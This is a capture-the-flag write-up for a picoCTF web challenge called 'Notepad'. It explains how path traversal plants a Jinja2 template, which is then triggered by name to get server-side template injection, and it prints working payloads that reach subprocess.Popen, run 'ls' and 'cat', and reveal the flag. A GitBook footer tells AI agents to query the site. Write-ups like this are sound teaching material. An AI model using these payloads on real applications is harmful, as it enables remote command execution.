> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/notepad.md).

# Notepad

Detailed Walkthrough: will be added in 24 hours of writeup on medium!

<https://medium.com/@alhamrizvi.in/list/web-exploitation-picoctf-hard-f1416428808a>

The application is a Flask-based notepad where user input is saved as HTML files inside the `/static` directory. At first glance, it looks like a simple note-taking service, but the real issue lies in how templates are handled. The app uses Jinja2 and dynamically includes error templates using `{% include "errors/" + error + ".html" %}`, which means the `error` parameter controls which template gets rendered.

During recon, the key observation was that we could control file creation. Although files are intended to be written inside `/static`, path traversal allows writing into `templates/errors/`. This turns our input into a Jinja template instead of just a static HTML file. Even though we cannot directly access that file, we can trigger its execution by passing its name through the `error` parameter, forcing the server to render it.

This gives us Server-Side Template Injection. Since `_` is blocked, we bypass it by passing `__class__` and `__subclasses__` through query parameters and referencing them dynamically using `request.args.get()` inside the payload.

The core payload used to access Python internals is:

```
{{ ''[request.args.get('class')].mro()[1][request.args.get('subclasses')]() }}
```

With:

```
?class=__class__&subclasses=__subclasses__
```

This exposes all subclasses in memory. From there, we locate `subprocess.Popen` (index 273) to achieve command execution.

To list files:

```
{{ ''[request.args.get('class')].mro()[1][request.args.get('subclasses')]()[273](['ls'], stdout=-1).communicate() }}
```

This reveals the randomized flag filename.

To read the flag:

```
{{ ''[request.args.get('class')].mro()[1][request.args.get('subclasses')]()[273](['cat','flag-c8f5526c-4122-4578-96de-d7dd27193798.txt'], stdout=-1).communicate() }}
```

Finally, the application returns the flag:

```
picoCTF{styl1ng_susp1c10usly_s1m1l4r_t0_p4steb1n}
```

The vulnerability chain is straightforward: arbitrary file write → template injection → SSTI → access Python internals → command execution → flag retrieval.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/notepad.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
